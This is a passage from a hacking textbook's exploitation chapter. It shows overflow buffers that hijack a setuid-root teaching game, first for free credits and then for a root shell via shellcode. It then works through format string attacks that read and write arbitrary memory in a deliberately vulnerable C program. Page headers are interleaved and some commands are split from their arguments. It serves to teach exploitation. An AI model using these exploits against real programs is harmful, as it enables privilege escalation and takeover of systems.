After confirming that this method works, it can be expanded upon to gain any number of credits. reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\ x8d\x04\x08\n" . "1\n" . "y\n"x10 . "n\n5\nJon Erickson\n7\n"' | ./ game_of_chance -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 140 credits] -> [DEBUG] current_game pointer @ 0x08048fde ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: The winning number is 1 Sorry, you didn't win. You now have 130 credits Would you like to play again? (y/n) 1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name

-=[ Game of Chance Menu ]=-

Ex pl oit a ti on

163

6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 130 credits] -> Change user name Enter your new name: Your name has been changed. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 130 credits] -> [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 230 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 330 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 430 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 530 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 630 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits!

164

0x 300

You now have 730 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 830 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 930 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1030 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1130 credits Would you like to play again? (y/n) [DEBUG] current_game pointer @ 0x08048d70 *+*+*+*+*+* JACKPOT *+*+*+*+*+* You have won the jackpot of 100 credits! You now have 1230 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 1230 credits] -> Change user name Enter your new name: Your name has been changed. -=[ 1 2 3 4 5 6 7 Game of Chance Menu ]=Play the Pick a Number game Play the No Match Dealer game Play the Find the Ace game View current high score Change your user name Reset your account at 100 credits Quit

Ex pl oit a ti on

165

[Name: Jon Erickson] [You have 1230 credits] -> Thanks for playing! Bye. reader@hacking:~/booksrc $

As you might have already noticed, this program also runs suid root. This means shellcode can be used to do a lot more than win free credits. As with the stack-based overflow, shellcode can be stashed in an environment variable. After building a suitable exploit buffer, the buffer is piped to the game_of_chance’s standard input. Notice the dash argument following the exploit buffer in the cat command. This tells the cat program to send standard input after the exploit buffer, returning control of the input. Even though the root shell doesn’t display its prompt, it is still accessible and still escalates privileges. reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance SHELLCODE will be at 0xbffff9e0 reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xe0\ xf9\xff\xbf\n" . "1\n"' > exploit_buffer reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: Jon Erickson] [You have 70 credits] -> [DEBUG] current_game pointer @ 0x08048fde ####### Pick a Number ###### This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits! 10 credits have been deducted from your account. Pick a number between 1 and 20: The winning number is 2 Sorry, you didn't win. You now have 60 credits Would you like to play again? (y/n) -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits

166

0x 300

7 - Quit [Name: Jon Erickson] [You have 60 credits] -> Change user name Enter your new name: Your name has been changed. -=[ Game of Chance Menu ]=1 - Play the Pick a Number game 2 - Play the No Match Dealer game 3 - Play the Find the Ace game 4 - View current high score 5 - Change your user name 6 - Reset your account at 100 credits 7 - Quit [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?] [You have 60 credits] -> [DEBUG] current_game pointer @ 0xbffff9e0 whoami root id uid=0(root) gid=999(reader) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46( plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(re ader)

0x350 Format Strings
A format string exploit is another technique you can use to gain control of a privileged program. Like buffer overflow exploits, format string exploits also depend on programming mistakes that may not appear to have an obvious impact on security. Luckily for programmers, once the technique is known, it’s fairly easy to spot format string vulnerabilities and eliminate them. Although format string vulnerabilities aren’t very common anymore, the following techniques can also be used in other situations.

0x351 Format Parameters
You should be fairly familiar with basic format strings by now. They have been used extensively with functions like printf() in previous programs. A function that uses format strings, such as printf(), simply evaluates the format string passed to it and performs a special action each time a format parameter is encountered. Each format parameter expects an additional variable to be passed, so if there are three format parameters in a format string, there should be three more arguments to the function (in addition to the format string argument). Recall the various format parameters explained in the previous chapter.

Ex pl oit a ti on

167

Parameter
%d %u %x %s %n

Input Type Value Value Value Pointer Pointer

Output Type Decimal Unsigned decimal Hexadecimal String Number of bytes written so far

The previous chapter demonstrated the use of the more common format parameters, but neglected the less common %n format parameter. The fmt_uncommon.c code demonstrates its use. fmt_uncommon.c
#include #include int main() { int A = 5, B = 7, count_one, count_two; // Example of a %n format string printf("The number of bytes written up to this point X%n is being stored in count_one, and the number of bytes up to here X%n is being stored in count_two.\n", &count_one, &count_two); printf("count_one: %d\n", count_one); printf("count_two: %d\n", count_two); // Stack example printf("A is %d and is at %08x. exit(0); }

B is %x.\n", A, &A, B);

This program uses two %n format parameters in its printf() statement. The following is the output of the program’s compilation and execution. reader@hacking:~/booksrc $ gcc fmt_uncommon.c reader@hacking:~/booksrc $ ./a.out The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two. count_one: 46 count_two: 113 A is 5 and is at bffff7f4. B is 7. reader@hacking:~/booksrc $

The %n format parameter is unique in that it writes data without displaying anything, as opposed to reading and then displaying data. When a format function encounters a %n format parameter, it writes the number of bytes that have been written by the function to the address in the corresponding function argument. In fmt_uncommon, this is done in two places, and the unary
168
0x 300

address operator is used to write this data into the variables count_one and count_two, respectively. The values are then outputted, revealing that 46 bytes are found before the first %n and 113 before the second. The stack example at the end is a convenient segue into an explanation of the stack’s role with format strings: printf("A is %d and is at %08x. B is %x.\n", A, &A, B);

When this printf() function is called (as with any function), the arguments are pushed to the stack in reverse order. First the value of B, then the address of A, then the value of A, and finally the address of the format string. The stack will look like the diagram here. The format function iterates through the Top of the Stack format string one character at a time. If the Address of format string character isn’t the beginning of a format parameter (which is designated by the perValue of A cent sign), the character is copied to the Address of A output. If a format parameter is encountered, the appropriate action is taken, using the Value of B argument in the stack corresponding to that Bottom of the Stack parameter. But what if only two arguments are pushed to the stack with a format string that uses three format parameters? Try removing the last argument from the printf() line for the stack example so it matches the line shown below. printf("A is %d and is at %08x. B is %x.\n", A, &A);

This can be done in an editor or with a little bit of sed magic. reader@hacking:~/booksrc $ sed -e 's/, B)/)/' fmt_uncommon.c > fmt_uncommon2.c reader@hacking:~/booksrc $ diff fmt_uncommon.c fmt_uncommon2.c 14c14 < printf("A is %d and is at %08x. B is %x.\n", A, &A, B); --> printf("A is %d and is at %08x. B is %x.\n", A, &A); reader@hacking:~/booksrc $ gcc fmt_uncommon2.c reader@hacking:~/booksrc $ ./a.out The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two. count_one: 46 count_two: 113 A is 5 and is at bffffc24. B is b7fd6ff4. reader@hacking:~/booksrc $

The result is b7fd6ff4. What the hell is b7fd6ff4? It turns out that since there wasn’t a value pushed to the stack, the format function just pulled data from where the third argument should have been (by adding to the current frame pointer). This means 0xb7fd6ff4 is the first value found below the stack frame for the format function.
Ex pl oit a ti on

169

This is an interesting detail that should be remembered. It certainly would be a lot more useful if there were a way to control either the number of arguments passed to or expected by a format function. Luckily, there is a fairly common programming mistake that allows for the latter.

0x352 The Format String Vulnerability
Sometimes programmers use printf(string) instead of printf("%s", string) to print strings. Functionally, this works fine. The format function is passed the address of the string, as opposed to the address of a format string, and it iterates through the string, printing each character. Examples of both methods are shown in fmt_vuln.c. fmt_vuln.c
#include #include #include int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text);

printf("\nThe wrong way to print user-controlled input:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); exit(0); }

The following output shows the compilation and execution of fmt_vuln.c. reader@hacking:~/booksrc $ gcc -o fmt_vuln fmt_vuln.c reader@hacking:~/booksrc $ sudo chown root:root ./fmt_vuln reader@hacking:~/booksrc $ sudo chmod u+s ./fmt_vuln reader@hacking:~/booksrc $ ./fmt_vuln testing The right way to print user-controlled input: testing

170

0x 300

The wrong way to print user-controlled input: testing [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

Both methods seem to work with the string testing. But what happens if the string contains a format parameter? The format function should try to evaluate the format parameter and access the appropriate function argument by adding to the frame pointer. But as we saw earlier, if the appropriate function argument isn’t there, adding to the frame pointer will reference a piece of memory in a preceding stack frame. reader@hacking:~/booksrc $ ./fmt_vuln testing%x The right way to print user-controlled input: testing%x The wrong way to print user-controlled input: testingbffff3e0 [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

When the %x format parameter was used, the hexadecimal representation of a four-byte word in the stack was printed. This process can be used repeatedly to examine stack memory. reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "%08x."x40') The right way to print user-controlled input: %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. %08x.%08x. The wrong way to print user-controlled input: bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252 e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2 52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e78 38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e. [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

This is what the lower stack memory looks like. Remember that each four-byte word is backward, due to the little-endian architecture. The bytes 0x25, 0x30, 0x38, 0x78, and 0x2e seem to be repeating a lot. Wonder what those bytes are? reader@hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n" %08x. reader@hacking:~/booksrc $

As you can see, they’re the memory for the format string itself. Because the format function will always be on the highest stack frame, as long as the format string has been stored anywhere on the stack, it will be located below the current frame pointer (at a higher memory address). This fact can be used to control arguments to the format function. It is particularly useful if format parameters that pass by reference are used, such as %s or %n.
Ex pl oit a ti on

171

0x353 Reading from Arbitrary Memory Addresses
The %s format parameter can be used to read from arbitrary memory addresses. Since it’s possible to read the data of the original format string, part of the original format string can be used to supply an address to the %s format parameter, as shown here: reader@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x The right way to print user-controlled input: AAAA%08x.%08x.%08x.%08x The wrong way to print user-controlled input: AAAAbffff3d0.b7fe75fc.00000000.41414141 [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

The four bytes of 0x41 indicate that the fourth format parameter is reading from the beginning of the format string to get its data. If the fourth format parameter is %s instead of %x, the format function will attempt to print the string located at 0x41414141. This will cause the program to crash in a segmentation fault, since this isn’t a valid address. But if a valid memory address is used, this process could be used to read a string found at that memory address. reader@hacking:~/booksrc $ env | grep PATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games reader@hacking:~/booksrc $ ./getenvaddr PATH ./fmt_vuln PATH will be at 0xbffffdd7 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s The right way to print user-controlled input: ????%08x.%08x.%08x.%s The wrong way to print user-controlled input: ????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/ usr/games [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $

Here the getenvaddr program is used to get the address for the environment variable PATH. Since the program name fmt_vuln is two bytes less than getenvaddr, four is added to the address, and the bytes are reversed due to the byte ordering. The fourth format parameter of %s reads from the beginning of the format string, thinking it’s the address that was passed as a function argument. Since this address is the address of the PATH environment variable, it is printed as if a pointer to the environment variable were passed to printf(). Now that the distance between the end of the stack frame and the beginning of the format string memory is known, the field-width arguments can be omitted in the %x format parameters. These format parameters are only needed to step through memory. Using this technique, any memory address can be examined as a string.

172

0x 300

0x354 Writing to Arbitrary Memory Addresses
If the %s format parameter can be used to read an arbitrary memory address, you should be able to use the same technique with %n to write to an arbitrary memory address. Now things are getting interesting. The test_val variable has been printing its address and value in the debug statement of the vulnerable fmt_vuln.c program, just begging to be overwritten. The test variable is located at 0x08049794, so by using a similar technique, you should be able to write to the variable. reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s The right way to print user-controlled input: ????%08x.%08x.%08x.%s The wrong way to print user-controlled input: ????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/ usr/games [*] test_val @ 0x08049794 = -72 0xffffffb8 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n The right way to print user-controlled input: ??%08x.%08x.%08x.%n The wrong way to print user-controlled input: ??bffff3d0.b7fe75fc.00000000. [*] test_val @ 0x08049794 = 31 0x0000001f reader@hacking:~/booksrc $

As this shows, the test_val variable can indeed be overwritten using the %n format parameter. The resulting value in the test variable depends on the number of bytes written before the %n. This can be controlled to a greater degree by manipulating the field width option. reader@hacking:~/booksrc $ ./fmt_vuln $(printf The right way to print user-controlled input: ??%x%x%x%n The wrong way to print user-controlled input: ??bffff3d0b7fe75fc0 [*] test_val @ 0x08049794 = 21 0x00000015 reader@hacking:~/booksrc $ ./fmt_vuln $(printf The right way to print user-controlled input: ??%x%x%100x%n The wrong way to print user-controlled input: ??bffff3d0b7fe75fc 0 [*] test_val @ 0x08049794 = 120 0x00000078 reader@hacking:~/booksrc $ ./fmt_vuln $(printf The right way to print user-controlled input: ??%x%x%180x%n The wrong way to print user-controlled input: ??bffff3d0b7fe75fc 0 [*] test_val @ 0x08049794 = 200 0x000000c8 reader@hacking:~/booksrc $ ./fmt_vuln $(printf The right way to print user-controlled input: ??%x%x%400x%n "\x94\x97\x04\x08")%x%x%x%n

"\x94\x97\x04\x08")%x%x%100x%n

"\x94\x97\x04\x08")%x%x%180x%n

"\x94\x97\x04\x08")%x%x%400x%n

Ex pl oit a ti on

173

The wrong way to print user-controlled input: ??bffff3d0b7fe75fc 0 [*] test_val @ 0x08049794 = 420 0x000001a4 reader@hacking:~/booksrc $

By manipulating the field-width option of one of the format parameters before the %n, a certain number of blank spaces can be inserted, resulting in the output having some blank lines. These lines, in turn, can be used to control the number of bytes written before the %n format parameter. This approach will work for small numbers, but it won’t work for larger ones, like memory addresses. Looking at the hexadecimal representation of the test_val value, it’s apparent that the least significant byte can be controlled fairly well. (Remember that the least significant byte is actually located in the first byte of the fourbyte word of memory.) This detail can be used to write an entire address. If four writes are done at sequential memory addresses, the least significant byte can be written to each byte of a four-byte word, as shown here:
Memory First write to 0x08049794 Second write to 0x08049795 Third write to 0x08049796 Fourth write to 0x08049797 Result 94 95 96 AA 00 00 BB 00 CC 97 00 00 00 00 00 00 DD 00 00 00 AA BB CC DD

As an example, let’s try to write the address 0xDDCCBBAA into the test variable. In memory, the first byte of the test variable should be 0xAA, then 0xBB, then 0xCC , and finally 0xDD. Four separate writes to the memory addresses 0x08049794, 0x08049795, 0x08049796, and 0x08049797 should accomplish this. The first write will write the value 0x000000aa, the second 0x000000bb, the third 0x000000cc, and finally 0x000000dd. The first write should be easy. reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%8x%n The right way to print user-controlled input: ??%x%x%8x%n The wrong way to print user-controlled input: ??bffff3d0b7fe75fc 0 [*] test_val @ 0x08049794 = 28 0x0000001c reader@hacking:~/booksrc $ gdb -q (gdb) p 0xaa - 28 + 8 $1 = 150 (gdb) quit reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n The right way to print user-controlled input: ??%x%x%150x%n The wrong way to print user-controlled input: ??bffff3d0b7fe75fc 0 [*] test_val @ 0x08049794 = 170 0x000000aa reader@hacking:~/booksrc $

174

0x 300

The last %x format parameter uses 8 as the field width to standardize the output. This is essentially reading a random DWORD from the stack, which could output anywhere from 1 to 8 characters. Since the first overwrite puts 28 into test_val, using 150 as the field width instead of 8 should control the least significant byte of test_val to 0xAA. Now for the next write. Another argument is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal. This argument could be anything; it just has to be four bytes long and must be located after the first arbitrary memory address of 0x08049754. Since this is all still in the memory of the format string, it can be easily controlled. The word JUNK is four bytes long and will work fine. After that, the next memory address to be written to, 0x08049755, should be put into memory so the second %n format parameter can access it. This means the beginning of the format string should consist of the target memory address, four bytes of junk, and then the target memory address plus one. But all of these bytes of memory are also printed by the format function, thus incrementing the byte counter used for the %n format parameter. This is getting tricky. Perhaps we should think about the beginning of the format string ahead of time. The goal is to have four writes. Each one will need to have a memory address passed to it, and among them all, four bytes of junk are needed to properly increment the byte counter for the %n format parameters. The first %x format parameter can use the four bytes found before the format string itself, but the remaining three will need to be supplied data. For the entire write procedure, the beginning of the format string should look like this:
0x08049794 0x08049795 0x08049796 0x08049797

94 97 04 08 J U N K 95 97 04 08 J U N K 96 97 04 08 J U N K 97 97 04 08

Let’s give it a try. reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\ x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%8x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0 [*] test_val @ 0x08049794 = 52 0x00000034 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8" $1 = 126 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\ x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%126x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0 [*] test_val @ 0x08049794 = 170 0x000000aa reader@hacking:~/booksrc $

Ex pl oit a ti on

175

The addresses and junk data at the beginning of the format string changed the value of the necessary field width option for the %x format parameter. However, this is easily recalculated using the same method as before. Another way this could have been done is to subtract 24 from the previous field width value of 150, since 6 new 4-byte words have been added to the front of the format string. Now that all the memory is set up ahead of time in the beginning of the format string, the second write should be simple. reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa" $1 = 17 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\ x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc 0 4b4e554a [*] test_val @ 0x08049794 = 48042 0x0000bbaa reader@hacking:~/booksrc $

The next desired value for the least significant byte is 0xBB. A hexadecimal calculator quickly shows that 17 more bytes need to be written before the next %n format parameter. Since memory has already been set up for a %x format parameter, it’s simple to write 17 bytes using the field width option. This process can be repeated for the third and fourth writes. reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcc - 0xbb" $1 = 17 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xdd - 0xcc" $1 = 17 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\ x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n%17x%n%17x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc 0 4b4e554a 4b4e554a 4b4e554a [*] test_val @ 0x08049794 = -573785174 0xddccbbaa reader@hacking:~/booksrc $

By controlling the least significant byte and performing four writes, an entire address can be written to any memory address. It should be noted that the three bytes found after the target address will also be overwritten using this technique. This can be quickly explored by statically declaring another initialized variable called next_val, right after test_val, and also displaying this value in the debug output. The changes can be made in an editor or with some more sed magic.

176

0x 300

Here, next_val is initialized with the value 0x11111111, so the effect of the write operations on it will be apparent. reader@hacking:~/booksrc $ sed -e 's/72;/72, next_val = 0x11111111;/;/@/{h;s/test/next/g;x;G}' fmt_vuln.c > fmt_vuln2.c reader@hacking:~/booksrc $ diff fmt_vuln.c fmt_vuln2.c 7c7 < static int test_val = -72; --> static int test_val = -72, next_val = 0x11111111; 27a28 > printf("[*] next_val @ 0x%08x = %d 0x%08x\n", &next_val, next_val, next_val); reader@hacking:~/booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c reader@hacking:~/booksrc $ ./fmt_vuln2 test The right way: test The wrong way: test [*] test_val @ 0x080497b4 = -72 0xffffffb8 [*] next_val @ 0x080497b8 = 286331153 0x11111111 reader@hacking:~/booksrc $

As the preceding output shows, the code change has also moved the address of the test_val variable. However, next_val is shown to be adjacent to it. For practice, let’s write an address into the variable test_val again, using the new address. Last time, a very convenient address of 0xddccbbaa was used. Since each byte is greater than the previous byte, it’s easy to increment the byte counter for each byte. But what if an address like 0x0806abcd is used? With this address, the first byte of 0xCD is easy to write using the %n format parameter by outputting 205 bytes total bytes with a field width of 161. But then the next byte to be written is 0xAB, which would need to have 171 bytes outputted. It’s easy to increment the byte counter for the %n format parameter, but it’s impossible to subtract from it. reader@hacking:~/booksrc $ ./fmt_vuln2 AAAA%x%x%x%x The right way to print user-controlled input: AAAA%x%x%x%x The wrong way to print user-controlled input: AAAAbffff3d0b7fe75fc041414141 [*] test_val @ 0x080497f4 = -72 0xffffffb8 [*] next_val @ 0x080497f8 = 286331153 0x11111111 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 5" $1 = 200 reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%8x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0 [*] test_val @ 0x08049794 = -72 0xffffffb8

Ex pl oit a ti on

177

reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%8x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0 [*] test_val @ 0x080497f4 = 52 0x00000034 [*] next_val @ 0x080497f8 = 286331153 0x11111111 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 52 + 8" $1 = 161 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%161x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc 0 [*] test_val @ 0x080497f4 = 205 0x000000cd [*] next_val @ 0x080497f8 = 286331153 0x11111111 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xab - 0xcd" $1 = -34 reader@hacking:~/booksrc $

Instead of trying to subtract 34 from 205, the least significant byte is just wrapped around to 0x1AB by adding 222 to 205 to produce 427, which is the decimal representation of 0x1AB. This technique can be used to wrap around again and set the least significant byte to 0x06 for the third write. reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x1ab - 0xcd" $1 = 222 reader@hacking:~/booksrc $ gdb -q --batch -ex "p /d 0x1ab" $1 = 427 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc 0 4b4e554a [*] test_val @ 0x080497f4 = 109517 0x0001abcd [*] next_val @ 0x080497f8 = 286331136 0x11111100 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x06 - 0xab" $1 = -165 reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x106 - 0xab" $1 = 91 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc 0 4b4e554a

178

0x 300

4b4e554a [*] test_val @ 0x080497f4 = 33991629 0x0206abcd [*] next_val @ 0x080497f8 = 286326784 0x11110000 reader@hacking:~/booksrc $

With each write, bytes of the next_val variable, adjacent to test_val, are being overwritten. The wraparound technique seems to be working fine, but a slight problem manifests itself as the final byte is attempted. reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x08 - 0x06" $1 = 2 reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\xf6\ x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n%91x%n%2x%n The right way to print user-controlled input: ??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%2x%n The wrong way to print user-controlled input: ??JUNK??JUNK??JUNK??bffff3a0b7fe75fc 0 4b4e554a 4b4e554a4b4e554a [*] test_val @ 0x080497f4 = 235318221 0x0e06abcd [*] next_val @ 0x080497f8 = 285212674 0x11000002 reader@hacking:~/booksrc $

